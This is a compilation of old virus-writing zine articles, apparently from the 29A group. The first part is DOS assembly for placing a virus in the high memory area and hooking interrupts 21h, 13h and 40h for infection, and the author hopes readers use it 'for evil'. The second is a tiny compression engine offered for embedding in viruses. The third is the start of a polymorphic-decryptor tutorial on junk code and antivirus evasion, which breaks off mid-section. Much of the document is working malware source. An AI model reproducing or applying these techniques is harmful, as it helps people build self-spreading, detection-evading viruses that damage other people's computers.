push cs ;prime the stack for retf
call call_es_bx ;put ip of next line on stack for retf
next_line: or ax,ax ;check if error
jz error
[...] ;code to do whatever
call_es_bx: push es ;now jmp to es:bx with ah as function
push bx ;the stack is primed to return to
retf ;next line
[...]
error: mov ah,09h ;print command
mov dx,offset errmsg;print error
push cs
pop ds
int 21h
[...]
errmsg db "A20 Global Enable error!",0dh,0ah,"$"
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
Note: all of the HIMEM.SYS calls are documented in Ralf Brown's Interrupt
list (INT 2Fh AX=4310h).
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
.286
mov al,0d1h ;send command to 8042
out 64h,al
reloop: in al,64h ;check that port 60h is available
or al,02h
jnz reloop
mov al,11100011b ;keep keyboard working and gate a20
out 60h,al
push -1 ;set es=ffffh
pop es
push 00h
pop ds ;set ds=0000h
mov di,10h ;check if it worked, compare
xor si,si ;ffff:0010h to 0000:0000 for 16 bytes
mov cx,di ;set cx to 10h
cld
rep cmpsb ;compare it
je failed
[...] ;worked, copy virus to ffff:xxxx
failed: jmp short failed ;do whatever
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
mov ax,4a02h ;allocate HMA space from DOS
mov di,-1 ;prime di if DOS not high or < ver 5
mov bx,0200h ;number of bytes you want
int 2fh ;should return es:di to available mem
inc di ;di=ffffh if no memory or DOS<5 etc.
jz failed ;if it failed
dec di
mov si,offset virii
mov cx,bx ;get ready to copy virii
cld
rep movs byte ptr es:[di],cs:[si]
[...]
failed: jmp short failed
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
Hooking interrupts
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Now that you are in the HMA, what next? hook in your interrupts and you are
off infecting. Problem is that it is not that simple. You can't point an
interrupt to ffff:xxxx because the a20 gate may be turned off for some rea-
son. If the a20 gate is turned off then your interrupt will point to code
in the first 64k of memory. When DOS 5+ interrupts 13h, 21h, 2fh, etc chain
into the HMA they first check if the a20 line is gated, if not, they gate
it. The interrupt then continues its code in the HMA. You can tunnel your
desired interrupt and hook in to the interrupt chain when the code goes to
the HMA. An example of hooking interrupt 21h is:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
.286
virus_size equ previous_21-begin
begin: [...]
mov ax,3501h ;get int 1 address for tunnel
int 21h
mov dx,offset interrupt_1
mov ah,25h ;set int 1 for tunnel
push es
int 21h
pop ds ;ds:dx will be to set it back
push 00h ;es=0000h
pop es
pushf ;simulate interrupt stack
mov dx,bx
push cs
push es ;return to cs:0000 is cd 20
int 01h ;set trap flag
db 26h ;es: override in to int table
dw 02effh,21h*04h ;jmp far ptr es:[0084]
interrupt_1: pusha ;save varables
push sp
pop bp ;get pointer
push ds
push es
lds si,dword ptr ss:[bp+10h];get next instruction address
cmp word ptr ds:[si+01h],02effh
jne go_back ;check if jmp far ?s:[????]
cmp word ptr ds:[si-02h],001cdh
org $-02h ;see if called from our int 01
int 01h
je toggle_tf
mov si,word ptr ds:[si+03h];get address segment of jmp
cmp byte ptr ds:[si+03h],0f0h
jb go_back ;see if in HMA area
mov bx,((virus_size+10h)SHR 4)*10h
mov di,0ffffh ;allocate HMA area for virus
mov ax,4a02h
int 2fh
inc di ;is HMA full
jz toggle_tf ;if so then just don't bother
push si ;move the virus to the HMA
cld
mov cx,virus_size
mov si,0100h ;copy virus to HMA
rep movs byte ptr es:[di],cs:[si]
pop si ;now hook the int 21 chain
movsw ;int 21 copied at previous_21
movsw
lea di,word ptr ds:[di-04h-virus_size+offset resident_21]
mov word ptr ds:[si-04h],di;point to resident 21 code
mov word ptr ds:[si-02h],es
toggle_tf: xor byte ptr ss:[bp+15h],01h;toggle the trap flag
go_back: pop es
pop ds
popa
iret
resident_21: pushf ;do the voodoo you do so well
pusha
[...]
popa
popf
db 0eah
previous_21: label double
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
This is a bit laborous. What else can be done? if you need to hook int 13h
then the simple use of int 2fh AH=13h can be done.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
.286
;at the start es:di is pointing to the start of the virus in HMA. es=ffffh
mov ah,13h ;get int 13 chain
int 2fh ;returns previous ds:dx to bios
push ds ;int 13h
push dx
lea dx,word ptr ds:[di+offset resident_13]
push -1 ;point to new int 13 in HMA
pop ds
int 2fh ;set new int 13 into chain
push -1
pop ds
pop word ptr ds:[di+previous_13]
pop word ptr ds:[di+previous_13+02h]
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
The only problem with this is that Windows will spot it if the 32 bit disk
access is enabled.
An even simpler way of hooking into the interrupt 13h chain can be done if
all you are wanting to do is infect floppies. Interrupt 40h is the moved
interrupt 13h handler that only handles floppy accesses. It can be directly
hooked into the HMA because all access to it will be through interrupt 13h
that made sure the a20 line was gated before it went into the HMA.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
.286
;at the start es:di is pointing to the start of the virus in HMA. es=ffffh
push es ;save es
mov ax,3540h ;get old int 40
int 21h
pop ds ;get es and save old int 40
mov word ptr ds:[di+previous_40],bx
mov word ptr ds:[di+previous_40+02h],es
lea dx,word ptr ds:[di+resident_40]
mov ah,25h ;set int 40 into hma
int 21h
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
Interrupt 2fh is very easy to hook into the HMA. Before DOS 7, you could
hook your code in at 0070:0005h. DOS 7 moved it to 0070:0168h.
Another way to hook into the interrupt chain and make sure that the a20 li-
ne is gated is to have some code in lower memory that calls the interrupt
you want to hook in with some bogus function, then jump to the HMA code be-
cause the a20 line was gated with the previous interrupt call. An example:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
.286
interrupt_21: push ax ;interrupt 21h points to here
mov ah,19h ;get current drive (bogus instruction)
pushf ;simulated stack for interrupt
db 09ah ;far call instruction
previous_21 dd 04530126eh ;previous interrupt 21 simulation
pop ax
db 0eah ;far jmp
hma_virus_code dd ffffec1ch ;to virus code in HMA
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
.286
mov ah,51h ;get current PSP
int 21h
xor ax,ax ;prime ax not equal PSP
find_root_psp: cmp ax,bx
je found_root
mov ds,bx ;point to current psp
mov ax,bx ;for compare
mov bx,word ptr ds:[16h];get parent psp
jmp short find_root_psp
found_root: [...] ;ds points to the psp of command.com
[...] ;ds:005ch to ds:007fh is useless space
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
If this has inspired someone else to use the HMA for evil rather than good
then my efforts have been worth it.
Nowadays, more and more people need and ask for a compression engine for
their viruses. Thinking about the matter, it really seems to be a good (at
least useful) idea to include one of those compression engines inside a vi-
rus... of course it's not interesting if the engine itself is about 7k long
for instance :) But if we're talking about a tiny engine (about 500-600 by-
tes), it's worth to spend a little amount of time thinking on the new ways
it opens for us, such as...
These all reasons drove me to write STCE (Super Tiny Compression Engine), a
program whose name is self-explanatory... i did not use any Huffman-alike
rule, as STCE is based just on repeated byte sequences. It's pretty optimi-
zed (413 bytes only!!!), so you can include it in any virus you want with-
out experiencing any notorious increase in its size.
To compress code
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
- Input:
AX -> holds the number of bits to encode not-repeated bytes with (when
the repeated sequence is not two-byte, but maybe one-byte long,
so we can't compress anything - just store).
BX -> holds the maximum number of bits dedicated to encode the relati-
ve offset of the repeated sequence. With "maximum" i mean that
STCE will not accept relative offsets with a higher number of
bits (it wouldn't help in order to compress!).
CX -> holds the length of the data we want to compress.
DX -> holds the number of bits to encode the value which indicates us
how many repeated bytes there are in the code we're compressing.
DS:SI -> holds the address of the data we want to compress.
ES:DI -> holds the address where we want STCE to put the compressed data.
Take special care on having enough space for this, otherwise
your virus may hang after having overwritten certain data!
BP -> holds the minimum number of bits dedicated to encode the relati-
ve offset of a repeated sequence. And with "minimum" i mean that
if the number of bits to encode the offset is below the value
held in BP, then the number of bits which will be used will be
this last one (BP), instead of the one in BX, which is larger.
To decompress code
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
- Input:
Note! AX, BX, DX and BP *MUST* hold the same values which were previously
used when having called the "compress" routine.
- Output:
AH and DH hold variable values (depending on if this value is less than 3),
while AL and DL hold fix ones, which, being added to the previous ones, ha-
ve to be as result the value we want to use in the compression routine. A-
bout BX and BP, just note that their high part MUST be zero (otherwise STCE
won't work ok), while the low one is used to encode the relative offset
where the repeated-byte sequence is found.
Anyway, the best thing is to do some tests with several values until STCE
satisfies your needs or viral instincts!!! ;)
And now, here you have the code for STCE itself...
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
;*********************************************************;
;*********************************************************;
;** **;
;** ======================================= **;
;** Super Tiny Compression Engine (STCE) **;
;** ======================================= **;
;** Made by Super/29A **;
;** **;
;*********************************************************;
;*********************************************************;
.model tiny
.code
public compress
public decompress
;=========================================================;
;=========================================================;
start:
save_regs:
push si
push cx
push di
push ax
push dx
push bp
cld
test al,05bh ;
push bx ;
push sp ; executable text: '[STCE]'
inc bx ;
inc bp ;
pop bp ;
push es
push di
inc di
push di
mov di,08h
push di
push cx
j1:
mov al,[bp+di-2]
cbw
cwd
xchg cx,ax
jcxz j2
inc dx
rol dx,cl
j2:
mov cl,[bp+di-1]
add dx,cx
push dx ;push this value on the stack
dec di
dec di
jnz j1
push di
jmp [bp+0eh]
decompress:
call save_regs
mov bl,1 ;indicate the bit we are reading
mov di,[bp+08h]
decompress0:
call read_bit
jb decompress1 ;if bit=1, that means a repeated sequence of bytes
mov ax,[bp+06h] ;else read the number of bytes stored
call read
push cx
rep ;
movsb ;write these bytes
jmp decompress4
decompress1:
mov cx,[bp+02h]
jcxz decompress2 ;jump if we only use one fixed number of bits
call read_bit ;else read one bit
jb decompress3
;if that bit=1, then we use a number of bits specified in "bx" parameter
;else we use the number of bits specified in "bp" parameter"
decompress2:
mov cx,[bp+00h]
decompress3:
xchg cx,ax
call read ;read these bits
push cx ;this value will be the rel.offs. of repeated sequence
mov ax,[bp+04h]
call read ;now, read the number of bytes that do repeat
inc cx
pop ax
push cx
push si
mov si,di
sub si,ax
rep ;
db 26h ; copy repeated sequence from es:si to es:di
movsb ;
pop si
decompress4:
pop ax
sub [bp-0ah],ax ;have we finished?
jnz decompress0 ;jump if not
load_regs:
mov sp,bp
pop bx
pop bp
pop dx
pop ax
pop di
pop cx
pop si
inc sp
inc sp
ret
read_bit:
dec bl
jnz read_bit1
mov bh,[si]
mov bl,8
inc si
read_bit1:
shr bh,1
ret
read:
cwd
sub cx,cx
read1:
inc cx
dec ah
js read3
call read_bit
jnb read1
read2:
add cx,dx
ret
read3:
sub al,1
js read2
call read_bit
rcl dx,1
jmp read3
compress:
call save_regs
find_more:
push ds
pop es
sub bx,bx
mov [bp-14h],bx
find_more0:
inc si
mov cx,si
sub cx,[bp+0ch]
cmp cx,[bp-12h]
jb ok1
mov cx,[bp-12h]
ok1:
mov di,si
sub di,cx
find_more1:
jcxz compress1
mov ax,[si-1]
find_more2:
repnz
scasb
jcxz compress1 ;jump if not found
cmp [di],ah
jnz find_more2
xchg cx,ax
mov cx,[bp-0eh]
inc cx
repz ;
cmpsb ; compare to see who many bytes are equal
dec cx
xchg cx,ax
sub ax,[bp-0eh]
neg ax
sub si,ax
sub di,ax
cmp ax,bx ;have we got more bytes than previous times?
jb find_more1 ;jump if negative
mov bx,[bp+0ah]
cmp ax,bx
ja too_far
xchg bx,ax
too_far:
mov dx,si
sub dx,di ;store the relative offset
jmp short find_more1 ;try to find larger sequences of rep.bytes
compress1:
neg bx
jb compress3 ;jump if number of bytes repeted>2
inc word ptr [bp-14h] ;increase the counter of non-repeated bytes
dec word ptr [bp+0ah]
jz compress2 ;jump if last byte
mov ax,[bp-14h]
cmp ax,[bp-0ch]
jb find_more0 ;jump if we can put altogether more non-repeated bytes
compress2:
inc si
compress3:
call store_data ;just do it
cmp [bp+0ah],ax
jnz find_more ;jump if there remains any byte
mov ax,[bp-06h]
sub ax,[bp+08h]
mov [bp+0ah],ax ;calculate size of compressed data
align_bits:
call write_bit ;align bits, so as to be able to decompress
jns align_bits
jmp load_regs
write_bit:
dec byte ptr [bp-08h]
jns write_bit1
mov byte ptr [bp-08h],7
push word ptr [bp-06h]
pushf
inc word ptr [bp-06h]
popf
pop word ptr [bp-04h]
write_bit1:
les di,[bp-04h]
rcr byte ptr es:[di],1
ret
store_data:
dec si
mov cx,[bp-14h]
jcxz store_data1 ;jump if there r no stored bytes
call write_bit ;write bit=0, because cf=0
push cx
xchg cx,ax
mov cx,[bp+06h]
call write ;write number of bytes stored
pop cx
sub si,cx
mov di,[bp-06h]
rep ;
movsb ; store those bytes
mov [bp-06h],di
store_data1:
neg bx
jnb write3 ;jump if no repeated bytes
call write_bit ;write bit=1
lea si,[bx+si]
sub [bp+0ah],bx
cmp [bp+02h],cx ;cx=0
xchg dx,ax
mov cx,[bp+00h]
jz store_data3
cmp ax,[bp-10h]
jnb store_data2
mov cx,[bp+02h]
store_data2:
call write_bit ;write bit to select from "bp"/"bx" number of bytes
store_data3:
call write ;write relative offset of repeated secuence of bytes
dec bx
xchg bx,ax
mov cx,[bp+04h] ;and now, write the number of bytes repeated
write:
dec ax
dec ch
js write1
sub ax,1
inc ax
jb write_bit
call write_bit
jmp write
write1:
mov ch,0
jcxz write3
ror ax,cl
write2:
shl ax,1
call write_bit
loop write2
write3:
ret
;=========================================================;
;=========================================================;
end start
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
CRUNCH/UNCRUNCH works better with text files, because they use a reduced
set of ASCII codes, and the PACK/UNPACK routine works nice with VxD code
and other stuff with lots of zeros.
PACK/UNPACK
ÄÄÄÄÄÄÄÄÄÄÄ
This engine consists on a simple zero-repeat compression. It copies code
from the source buffer to a destination buffer, checking for zeros. When it
finds one, it starts counting the number of zeros which follow that initial
zero, and then stores that value. So, all the zeros will be followed by the
number of times we need to repeat them. Pretty simple, as you see.
CRUNCH/UNCRUNCH
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
This routine is based on the premise that not all possible ASCII codes are
used in a given text. Some letters, for instance in portuguese or spanish,
like a, s, c, or e are more used than others, like k, y, w, t, etc. Other
codes, such as the high ASCII ones, are almost never used! So this routine
works in two steps. First it scans for the most used codes, creating two
tables, each of them with the 15 most used characters. Then it starts com-
pressing the file. If the character in the source buffer is present in the
first table, the engine will put its offset in the table. Else, it will
look for that character in the second table, and if it's there, will put a
zero to mark a table change and put the offset of the character in that se-
cond table. Finally, if the character is not present in any table, then the
engine will put a zero and the plain ASCII code. The 15 characters, which
are the max number in our table, can be represented in a nibble, so we may
gain space. So, it will work this way:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
public CRUNCH
CRUNCH proc
cld
call init
push di
pusha
push cx
mov di, offset dictionary
mov cx, 15+256
xor ax, ax
rep stosw
pop cx
mov di, offset frequency_table
count_loop:
lodsb
mov bx, ax
shl bx, 1
cmp word ptr cs:[di+bx], -1
je overflow
inc word ptr ds:[di+bx]
overflow:
loop count_loop
mov di, offset dictionary
mov cx, 15*2
next_char:
push cx
xor bx, bx
mov si, offset frequency_table
mov cx, 256
scan_table:
lodsw
cmp ax, bx
jb lower
mov bx, ax
mov bp, si
sub bp, 2
lower:
loop scan_table
mov word ptr [bp], 0
sub bp, offset frequency_table
mov ax, bp
shr ax, 1
stosb
pop cx
loop next_char
popa
push si
mov si, offset dictionary
call copy30
pop si
push di
cld
next_byte:
push cx
xor ax, ax
lodsb
push di
mov di, offset first_table
mov cx, 15
repne scasb
pop di
jne try_table_2
calculate:
mov ax, 15
sub ax, cx
jmp found_in_table
try_table_2:
push di
mov di, offset second_table
mov cx, 15
repne scasb
pop di
jne no_table
mov al, 0
call add_nibble
jmp calculate
no_table:
push ax
xor ax, ax
call add_nibble
call add_nibble
pop ax
push ax
and al, 11110000b
shr al, 4
call add_nibble
pop ax
and al, 00001111b
found_in_table:
call add_nibble
do_next:
pop cx
loop next_byte
pop bx
mov cx, di
sub cx, bx
add cx, 30
pop dx
ret
endp CRUNCH
; Init variables
init proc
mov byte ptr [up_down], 0
mov byte ptr [compressed], 0
ret
endp init
add_nibble proc
cmp byte ptr [up_down], 0
jne down_byte
shl al, 4
mov byte ptr [compressed], al
inc byte ptr [up_down]
ret
down_byte:
or al, byte ptr [compressed]
stosb
dec byte ptr [up_down]
ret
endp add_nibble
; Read nibble
; Exit:
; AL = nibble
read_nibble proc
cmp byte ptr [up_down], 0
jne low_nibble
lodsb
mov byte ptr [compressed], al
and al, 11110000b
shr al, 4
inc byte ptr [up_down]
ret
low_nibble:
mov al, byte ptr [compressed]
and al, 00001111b
dec byte ptr [up_down]
dec cx
ret
endp read_nibble
; Copy 30 bytes
copy30:
push cx
mov cx, 30
rep movsb
pop cx
ret
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
public UNCRUNCH
UNCRUNCH proc
call init
push di
mov di, offset dictionary
call copy30
pop di
push di
sub cx, 30
unpack_loop:
xor ax, ax
call read_nibble
cmp al, 0
je maybe_second_table
mov bx, offset first_table
jmp do_calc
maybe_second_table:
call read_nibble
cmp al, 0
je store_full
mov bx, offset second_table
do_calc:
add bx, ax
mov al, byte ptr [bx-1]
jmp store_this
store_full:
call read_nibble
push ax
call read_nibble
pop bx
shl bl, 4
or al, bl
store_this:
stosb
or cx, cx
jnz unpack_loop
pop dx
mov cx, di
sub cx, dx
ret
endp UNCRUNCH
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
public PACK
PACK proc
mov dx, di
xor bx, bx
nextta:
lodsb
or al, al
jnz nextbyte
inc bx
loop nextta
nextbyte:
or bx, bx
jz nada
push ax
mov al, 0
stosb
mov ax, bx
stosw
xor bx, bx
pop ax
jcxz quit
nada:
stosb
loop nextta
quit:
mov cx, di
sub cx, dx
ret
endp PACK
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
public UNPACK
UNPACK proc
mov dx, di
nexttat:
lodsb
or al, al
jnz nextbit
sub cx, 2
push cx
lodsw
mov cx, ax
xor ax, ax
rep stosb
pop cx
loop nexttat
jcxz quitta
nextbit:
stosb
loop nexttat
quitta:
mov cx, di
sub cx, dx
ret
endp UNPACK
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
up_down db ?
compressed db ?
dictionary label
first_table label
db 15 dup (?)
second_table label
db 15 dup (?)
frequency_table label
dw 256 dup (?)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
Û D I S C L A I M E R Û
Û Û
Û The following document is a study. It's only purpose is to be used in Û
Û the virus research only. The author of this article is not responsible Û
Û for any misuse of the things written in this document. Most of the Û
Û things published here are already public and they represent what the Û
Û author gathered across the years. Û
Û The author is not responsible for the use of any of these information Û
Û in any kind of virus. Û
Û Lord Julus. Û
ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Foreword ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄ-
lordjulus@geocities.com
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Introduction ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
Something anyone can notice is that the biggest and complicated the
decryptor is, the biggest and complicated and *slower* is the polymorphic
engine. All you'll have to do is find a good balance, e.g. finding the
best level of polymorphism a fast and small routine can create.
a) General notations:
(note that BX can also be used as pointer register but I will avoid
this case in this article)
b) Specific notations:
And now the reason: many OpCodes for instructions are optimized
for the register AX. This means that an instruction using the AX
register will be shorter than one involving the BX register. Now, you
probably think this is stupid... No ! That's because when generating
instructions you have a set of instructions that do the same thing.
Obviously the sum of bytes for each set will never be equal. If you
want to create a PME to generate equal size decryptors, you'll have
to pad with NOP's so all the sets will have same size. So, it's no use
to have an optimized AX instruction if you have to pad it anyway because
another instruction has more bytes. Instead, being the junk register,
the junk code will be optimized on AX. This means you can have more
junk instructions in the same space. I hope this clears it. (as you will
see further I will not take use of this either to make the poly smaller...)
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ General Decryptor ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
I will begin now with the general type decryptor and I will explain
the way it works. This code is usualy put at the end of code, but some
are put at the begining (I will not explain this here. MOF uses decryptors
in different places, but you have to take care of the Delta Handle). The
Decryptor is called from the beginning, decrypts the code and gives it the
control (i.e. jumps to it).
Notice each instruction will have a number for further use.
main_loop:
[8] mov creg, sreg:[preg] ; take an encrypted word
[9] call unscramble ; decrypt it (*)
[10] mov dreg:[preg], creg ; write decrypted word
[11] add kreg, keyi ; increment the key
[12] dec lreg ; decrement length
[13] inc preg ; increment pointer
[14] inc preg ; by 2
[15] jnz main_loop ; and loop until length=0
[16] ret ; return control
Decrypt endp
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Permuting Instructions ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
Permutable instructions:
How do we permute the instructions. As you will see later, you will
have a routine for generating each of the above instructions. So, all
you have to do is make a matrix of bytes with the length 16, mark
the 8, 9, 15 and 16 positions with 8, 9, 15, 16 (as these can not be
permuted). Then fill the first part of the matrix (1-7) with numbers from
1 to 7 in a random order (being careful about the rules) and then fill the
10-14 part with numbers between 10-14 in a random order. Now, all you have
to do is call your routines in that order.
Example: 3,1,2,4,7,6,5,8,9,14,12,10,13,11,15,16
(this code does exactly the same thing as the one above).
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Coding Instructions ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄ
Instruction ³ OpCodes ³ Total bytes
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ
mov bx, 1000h ³ B8 00 10 ³ 3
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ
xor bx, bx ³ 33 DB ³
or bx, 1000h ³ 81 CB 00 10 ³ 6
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ
push 1000h ³ 68 00 10 ³
pop bx ³ 5B ³ 4
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ
sub bx, bx ³ 2B DB ³
xor bx, 1000h ³ 81 F3 00 10 ³ 6
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ
mov bx, 1000h xor 2222h ³ BB 22 32 ³
xor bx, 2222h ³ 81 F3 22 22 ³ 6
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄ
Each and everyone of the above combinations will do the same thing:
put the value 1000h into the BX register. Of course, the number of opcodes
involved in each case is different, as you can see. What we'll need to do
then is:
* pick up a combination
* generate it
* see the difference between the bytes number of the choosen
combination and the one with the most bytes (6 in our case)
* pad the instruction with junk to reach the max
Ok, so let's get back to our example and let's pick some variants
for each one of our instructions.
d) mov reg, 0
add reg, imm (imm = real data xor rndm)
xor reg, rndm
ÄÄÄÄÄÄÄÄÄÄÄÄ
11 bytes
b) pop jprg
xchg ax, jprg
junk bytes \
... > six times
junk bytes /
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
8 bytes
c) pop jprg
mov ax, jprg
junk bytes \
... > five bytes
junk bytes /
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
8 bytes
b) mov sreg, ax
junk byte
junk byte
ÄÄÄÄÄÄÄÄÄÄÄÄÄ
4 bytes
c) pop jreg
xchg jreg, ax
mov es, ax
ÄÄÄÄÄÄÄÄÄÄÄÄÄ
4 bytes
b) push imm
pop reg
junk byte
junk byte
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
6 bytes
b) push sreg:[reg]
pop reg
junk byte
junk byte
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
6 bytes
b) push reg
pop sreg:[reg]
junk byte
junk byte
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
6 bytes
c) sub lreg, 1
junk byte \
... > six times
junk byte /
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
9 bytes
a) push cx
mov cx, lreg
jcxz _label
pop cx
jmp main_loop
_label:
pop cx
junk byte
ÄÄÄÄÄÄÄÄÄÄÄÄ
10 bytes
c) xor ax, ax
sub ax, lreg
jns main_loop
junk byte \
... > six times
junk byte /
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
10 bytes
Instead of Use
As you can see, I consider that the poly engine should drop directly
values into the decryptor, so you don't have to mess up with things like:
Instead, the engine will compute how much BP+0542 is and will put
the value there. This helps us in many directions. First of all, the AV's
are hunting for stuff like [BP+...], because it's the mose used way of
holding the Delta handle. But if we don't use it in our main decryptor,
we can safely use it in our junk instructions !! This bring us again to
messing up the AV. Check the Armouring chapter for more.
And last: I let the PUSH CS and RET instructions like they are,
but these can be coded in different ways too. Use your imagination !
In this area you can make whatever you want and desire. Any other
combinations can be added. After this is done, we can surely compute
the length of our main decryptor. So let's do it:
So, our decryptor with some junk in it is 104 bytes. To this we should
add the unscramble procedure with which we shall deal later.
Now, only by permuting the instructions between them and adding the
extra junk code into it, we have an almost good poly decryptor. But we don't
wanna stop here !
Before jumping to generating instruction we should take a peek to...
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Creating junk instructions ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
Now, one important thing. As you will see further, the 2, 3 and 4
bytes long instructions are much more soffisticated and make much mess.
That's why I suggest you to make a probability of 10% for 1 byte
instructions, 20% for two bytes instruction, 30% for 3 and 40% for 4 bytes
instructions. I thought of this taking into account that within the code
you already inserted a lot of 1 byte junks. You can also create 4 byte
garbage, by overriding the three byte ones (you'll see how).
Let's check a little the types of junk we can use. I said that we can
have a maximum 3 byte length instruction. I said so, because it's kinda
hard to generate 4 or 5 bytes instructions and still keep the code small.
Remember we have two junk registers: AX and one pointer register (DI
or SI). In the cases presented above (which you'll see further why are they
two bytes long), the 'reg' can be either AX or the jprg. And we also have
AX divided into AH and AL. We can perform any opperation over AH and AL,
the second register being any of the other 8 bit registers.
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Creating calls to dummy routines ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
CALL xxxx
JMP xxxx
J___ xxxx (conditional jumps)
RET
From the beginning I'll tell you that using only calls is bad. Why ?
Simple... Our code goes line by line, right ? Imagine this situation:
When Ret is reached, the IP returns at the (*), but after a while the
Ret is reached again and here goes chaos. Or let's look at this:
This is also bad, because as the code is executed, it goes from (*) and
reaches the Ret... Again chaos.
We cannot skip the Ret's (even if we replace them with some POP's,
because the code still we'll come over the CALL again. Only in the first
case we can POP the CS:IP and get it over with, but it's dangerous. AV's
may notice that a CALL was made and there wasn't any RET for it...)
How can we solve this ?
06 = 108 - 100 - 2
11 = 0Bh
-11 = F5h (which is exactly what apperes in
the opcode: EBF5)
I showed you how a Call cannot be created into a code that goes normaly
because it will hang. Here comes the JMP to help us.
So, your random routine decided that you will use CALL+JMP.
Then your random routine must decide which kind of CALL it will make
(as in the examples above). Let's analyse the two examples and see how the
JMP solves the problem:
---------------------------
